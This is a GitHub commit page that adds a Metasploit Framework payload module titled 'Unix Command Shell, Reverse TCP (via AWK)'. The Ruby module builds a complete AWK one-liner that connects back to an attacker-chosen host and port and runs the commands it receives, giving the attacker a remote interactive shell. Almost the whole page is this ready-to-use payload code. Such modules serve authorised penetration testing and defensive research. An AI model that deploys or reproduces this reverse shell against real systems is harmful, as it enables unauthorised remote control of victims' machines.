Skip to content

Commit d4a864c

Browse files
committed
Creates an interactive shell via AWK (reverse)
1 parent 3d5eb24 commit d4a864c

File tree

1 file changed

+56
-0
lines changed

1 file changed

+56
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/reverse_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',
21+
'Description' => 'Creates an interactive shell via AWK',
22+
'Author' =>
23+
[
24+
'espreto <robertoespreto[at]gmail.com>',
25+
'Ulisses Castro <uss.thebug[at]gmail.com>'
26+
],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'unix',
29+
'Arch' => ARCH_CMD,
30+
'Handler' => Msf::Handler::ReverseTcp,
31+
'Session' => Msf::Sessions::CommandShell,
32+
'PayloadType' => 'cmd',
33+
'RequiredCmd' => 'awk',
34+
'Payload' =>
35+
{
36+
'Offsets' => { },
37+
'Payload' => ''
38+
}
39+
))
40+
end
41+
42+
#
43+
# Constructs the payload
44+
#
45+
def generate
46+
return super + command_string
47+
end
48+
49+
#
50+
# Returns the command string to use for execution
51+
#
52+
def command_string
53+
"awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";while(1){printf \"shell> \"|& s;s|&getline c;if(c){while((c|& getline)>0){print $0|& s}close(c);}}}'"
54+
end
55+
56+
end

0 commit comments

Comments
 (0)